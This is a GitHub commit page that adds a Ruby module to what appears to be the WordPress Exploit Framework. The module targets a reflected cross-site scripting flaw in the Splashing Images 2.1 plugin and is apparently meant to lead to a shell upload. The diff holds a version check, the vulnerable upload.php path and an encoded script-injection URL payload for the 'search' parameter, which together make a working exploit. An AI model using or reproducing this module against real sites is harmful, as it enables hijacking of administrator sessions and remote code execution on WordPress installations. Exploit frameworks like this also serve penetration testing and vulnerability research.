Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 7507d03

Browse files
committed
Add splashing images reflected xss shell upload
1 parent c496255 commit 7507d03

File tree

1 file changed

+34
-0
lines changed

1 file changed

+34
-0
lines changed
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::SplashingImagesReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Splashing Imagges 2.1 Reflected XSS',
11+
author: [
12+
'Paul Williams <phyushin[at]phyubox.com>' # WPXF module
13+
],
14+
references: [
15+
['WPVDB', '9016'],
16+
['URL', 'https://packetstormsecurity.com/files/146109/']
17+
],
18+
date: 'Jan 26 2018'
19+
)
20+
end
21+
22+
def check
23+
readme = normalize_uri(wordpress_url_plugins, 'wp-splashing-images', 'README.txt')
24+
check_version_from_custom_file(readme, /Stable tag:\s(\d\.\d(\.\d)*)/, '2.1.1')
25+
end
26+
27+
def vulnerable_url
28+
normalize_uri(wordpress_url_admin, 'upload.php')
29+
end
30+
31+
def url_with_xss
32+
"#{vulnerable_url}?page=wp-splashing&search=%22%3E%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3C"
33+
end
34+
end

0 commit comments

Comments
 (0)